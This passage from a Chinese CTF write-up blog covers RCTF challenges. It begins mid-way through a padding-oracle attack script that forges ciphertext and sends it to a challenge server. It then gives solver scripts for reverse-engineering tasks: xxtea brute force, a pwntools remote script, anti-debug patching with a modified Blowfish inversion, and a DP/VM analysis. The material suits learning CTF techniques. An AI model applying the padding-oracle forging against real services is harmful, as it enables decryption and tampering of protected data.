last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-64:-48]
temp_block = ""
for i in range(16):
    temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))

last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
    new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))

res = ''
for i in range(16):
    res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 1 Complete!"
print res
print res.encode('hex')

new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
    new_last2_enc_block = '0'+new_last2_enc_block
payload =  last_enc_block + payload
print "[+]Round 1 payload:"
print payload
print len(payload)

payload = new_last2_enc_block + payload
print "[+]Round 0 payload:"
print payload
print len(payload)

payload += new_hash
print "[+]ALL DONE!"
print "payload:"
print payload
print len(payload)

rv(4096)
sl(payload)
result = rl()
print "[+]Get Flag:"
print result
p.close()

Re

babyre1

首先校验flag长度为16,然后进行16进制编码

然后我们看看sub_555555555180

这个函数将input视为4个dword的数,然后xxtea decrypt,且解密后的字符串最后一字节要<4,至于xxtea的识别的话,可以发现它用了常数0x9E3779B9,这是标准tea家族的算法需要用的参数,然后参考这个博客:

https://www.jianshu.com/p/4272e0805da3

可以发现是xxtea解密
后面再经过一个check后要输出Bingo!可以发现的是,最后一轮check并不会改变输入的值,且我们只有密文的最后两位是未知的,然后hint又给了md5,那么最后一轮就没有逆的必要了,直接爆破一下

import xxtea
import hashlib;
def decrypt(text,key):
    return xxtea.decrypt(text, key,padding=False);
def encrypt(text,key):
    return xxtea.encrypt(text, key,padding=False);

key = [0xc7,0xe0,0xc7,0xe0,0xd7,0xd3,0xf1,0xc6,0xd3,0xc6,0xd3,0xc6,0xce,0xd2,0xd0,0xc4]

key = ''.join( [ chr(i) for i in key ] );


cipher = [0x55,0x7e,0x79,0x70,0x78,0x36,0,0];
for i in range(0xff):
    print i;
    for j in range(4):
        cipher[6]=i;
        cipher[7]=j;
        t = encrypt( ''.join( [ chr(k) for k in cipher ] ) , key);
        t = t.encode('hex');
        t = "rctf{" + t + "}"
        # print i,j,t;
        # print hashlib.md5(t).hexdigest()
        if (  hashlib.md5(t).hexdigest()=="5f8243a662cf71bf31d2b2602638dc1d" ):
            print 'get!!!!!!!!!!!!!!!!!!!';
            print t;

# rctf{05e8a376e4e0446e}

babyre2

和第一题同样用了xxtea,程序的大致逻辑为:
用account作为xxtea的密钥来加密一串常量,得到s1
用password进行一些变换后来索引data的值来构造一个字符串s2
将s2每位^0xcc后解密s1,如果解密的结果最后一位<4就get flag
且可以发现的是第一次加密的常量最后一位<4,那么构造account==s2^0xcc就完事了

from pwn import *
from LibcSearcher import *
s = lambda data : p.send(data);
sl = lambda data : p.sendline(data);
sla = lambda st,data : p.sendlineafter(st,data);
sa = lambda st,data : p.sendafter(st,data);
context.log_level = 'DEBUG';

p = remote("139.180.215.222 ",20000);

sa("account:","2"*16);
sa("password:","1"*16 );
sa("data:",("1"*36+chr(ord('2')^0xcc)+'23456').encode('hex') );
p.interactive();

#rctf{f8b1644ac14529df029ac52b7b762493}

DontEatME

开头有ZwSetInformationThread的反调试,全部patch掉即可,然后伪随机数生成以一串key,来初始化Blowfish,然后中间那一大段就是Blowfish的解密过程,但是我试了一下,好像不太对,应该是作者魔改了某些地方。
然后这一坨东西呢,唯一的作用就是生成了dword_4053A8这个表

这里就是根据dword_4053A8和一些判断来check,可以直接跑dfs出答案

dword_4053A8 = [1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 0L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L, 1L]


b = [0x61,0x64,0x73,0x77,0]
v32 = 10;
v33 = 0;
v34 = 5;
v35 = 160;
def get(x):
    global v32;
    global v33;
    global v34;
    global v35;
    if (x==0x61):
        v34-=1;
    if (x==0x64):
        v34+=1;
    if (x==0x73):
        v32+=1;
        v35+=16;
    if (x==0x77):
        v32-=1;
        v35-=16;
def recover(x):
    global v32;
    global v33;
    global v34;
    global v35;
    if (x==0x61):
        v34+=1;
    if (x==0x64):
        v34-=1;
    if (x==0x73):
        v32-=1;
        v35-=16;
    if (x==0x77):
        v32+=1;
        v35+=16;
ans = [0]*16;
def dfs(x):
    global v32;
    global v33;
    global v34;
    global v35;
    if x==16:
        if v32==4 and v34==9:
            print ans;
            return ;
        else :
            return;

    for j in b:
        get(j);
        ans[x] = j;
        if dword_4053A8[v35+v34]!=1:
            dfs(x+1);
        recover(j);
    return ;

dfs(0);

可以发现只有唯一一组解:[100, 100, 100, 100, 119, 119, 119, 97, 97, 97, 119, 119, 119, 100, 100, 100]得到加密后的结果之后,就得逆那个Blowfish,由于不知道作者魔改了什么地方,因此我只好自己手动求逆了

key_table= [3240133568, 1745476834, 3452267107, 1321242865, 569233882, 3262172914, 804074711, 2212451896, 3586228949, 3213295876, 2580307897, 3987242710, 844129917, 1301868125, 523187267, 1271787320, 262594588, 3722290984]
t4= [1168098725, 2143783412, 4223038891, 1704033917, 4178117343, 
......此处应有省略号......
4234728569, 227098560, 3450504956, 490211951]


def f(x):
    a1 = x&0xff;
    a2 = (x&0xff00)>>8;
    a3 = (x&0xff0000)>>16;
    a4 = (x&0xff000000)>>24;
    return t1[a1]+( t2[a2]^(t3[a3]+t4[a4]) );

def decrypt(xl,xr):
    v10 = 17;
    i = 0;
    for i in range(16):
        xl = xl ^ key_table[v10];
        v10-=1;
        temp = xl;
        xl = xr ^ f(xl);
        xr = temp;
        xl &=0xffffffff;
        xr &=0xffffffff;
        # print i,hex(xl),hex(xr),v10;
    xr^=key_table[0];
    xl^=key_table[1];
    return hex(xr),hex(xl);
def encrypt(xl,xr):
    v10 = 2;
    i = 0;

    xr^=key_table[0];
    xl^=key_table[1];

    for i in range(16):
        pre_xl = xr ^ key_table[v10];
        v10+=1;
        xr = f(xr)^xl;
        xl  = pre_xl;
        xl &=0xffffffff;
        xr &=0xffffffff;
        # print i,hex(xl),hex(xr),v10;

    return hex(xl),hex(xr);

a = "64646464777777616161777777646464"
ans = ""
for i in range(0,len(a),16):
    a1 = int(a[i:i+8],16);
    a2 = int(a[i+8:i+16],16);
    a1,a2 = encrypt(a2, a1);
    ans +=a1[2:-1];
    ans +=a2[2:-1];
print ans,len(ans);
# RCTF{db824ef8605c5235b4bbacfa2ff8e087}

crack

限制程序输入的前512位只能是0 or 1,然后会根据你的输入来解密一个函数,但由于最后的函数是未知的,因此直接求逆不可能,但程序限制了v27,也就是根据输入取解密后的值x,然后v27-=x,最后要求v27==0,乍一看这只能爆破,但其实猜想一下要使程序能用非爆破的方式求解的话,v27很可能是一个特殊的数字,例如最大值,最小值,如果这么一想,那这其实就是一个在矩阵里按照特殊规则取数,然后求最大值的问题,那么这其实就是非常一个简单的dp问题f[i][j]=max(f[i-1][j],f[i-1][j-1])+a[i][j]
贴一下脚本,写的很急,很丑,且因为担心有多解,还加了一些判断

#include<iostream>
using namespace std;
unsigned long long f[1111][1111];
unsigned long long  a[1111][1111];
unsigned long long t=0;
int num=0;
struct ha{
    int v[20];
    int num;
};
ha c[1111][1111];
void get(int x,int y){

    if (x<1||y<1){
        cout<<"!!!!!!!!!!!!!!!wrong case!  "<<x<<"    "<<y<<endl;
        return ;
    }
    if (x==1&&y==1){
        cout<<"0";
        return;
    }
    if (x==1&&y==2){
        cout<<"1";
        return ;
    }
    if (c[x][y].num>1) {
        cout<<x<<" "<<y<<endl;
        cout<<"not just one answer"<<c[x][y].num<<endl;
    }
    if ( c[x][y].v[0]==1 ){
        get(x-1,y-1);
        cout<<"1";
    }
    else {
        get(x-1,y);
        cout<<"0";
    }
}
int main(){
    freopen("func.mem","r",stdin);
    for (int i=1;i<=0x200;i++){
        for (int j=1;j<=0x200;j++){
            scanf("%lld",&a[i][j]);
//            cin>>a[i][j];
            //cout<<hex<<a[i][j]<<endl;
        }
    }
    t = 0;
    int i=1;
        for (int j=1;j<=0x200;j++){
            if (j<=2) i=1;
            else i=j-1;
            for (;i<=0x200;i++){
                f[i][j] = max( f[i-1][j]+a[i][j], f[i-1][j-1]+a[i][j] );
//              cout<<hex<<f[i][j]<<endl;
                if ( f[i-1][j]+a[i][j] == f[i-1][j-1]+a[i][j] ){
                    c[i][j].num = 0;
                    c[i][j].v[ c[i][j].num++ ] = 0;
                    c[i][j].v[ c[i][j].num++ ] = 1;
                    continue;
                }
                if (f[i][j]==f[i-1][j]+a[i][j]){
                        c[i][j].v[ 0 ] = 0;
                        c[i][j].num=1;
                    }
                else {
                    c[i][j].num=1;
                    c[i][j].v[ 0 ] = 1;
                }
            t = max(t,f[i][j]);
            if (f[i][j]>=0x100758E540F){
                get(i,j);cout<<endl;
                cout<<"i get one "<<i<<" "<<j<<"  "<<hex<<f[i][j]<<endl;
            }
        }
    }
}

可以发现v27的值确实是最大值,且是唯一解
00000000010101000000000111100111111110100111100101001000101010010011101100111101011111111111111111001110111011011000000101110111001111100100011000000000000110001111110100000000001101110111010101011111000101110000011000111001110000000000000000000000011001000010000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000011100011111110000100111000000000000000000000000000000010000000000000001000001100000000000000101000000000100000010000000000000000010000000000000000000000

然后我们动态跟一下解密后的函数: sub_431A020,发现是个vm

先打印一下日志,看看程序在干啥

粗略的打印了一下

00 Mov reg[0] , 0x26a
03 Mov reg[1] , reg[0]
02 reg[0]=input[0]
1a 01 Mov reg[1] , 0x30  input[i]-=0x30
0c Sub reg[0] , reg[1]
03 Mov reg[1] , reg[0]
......此处应有省略号......
06 reg[0]=reg[6] (0x11)
01 Mov reg[1] , 0x7
0d Mul reg[0] , reg[1]
01 Mov reg[1] , 0xf423f
16 reg[0] == reg[1] reg[0]=0  //check
01 Mov reg[1] , 0xc36
1a jump c36
00 Mov reg[0] , 0x928a000

逻辑很简单

input="123"
for i in range(len(input)):
    v6+= (ord(input[i])-0x30)<<i
    print v6;
print hex(v6);
# v6 == 0xf423f

因为长度是未知的,因此我随便找了一个解79889000968999
(注意,答案是分两部分,这是第二部分的)
带到vm里,发现指令数暴增,且由于我这个vm模拟的不全面,还会报错,大致分析了一下后面的功能,可以发现它貌似也在解密什么东西,最主要的是,后面的操作都和input没啥关系,因此直接将第一轮的答案+第二轮带入

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now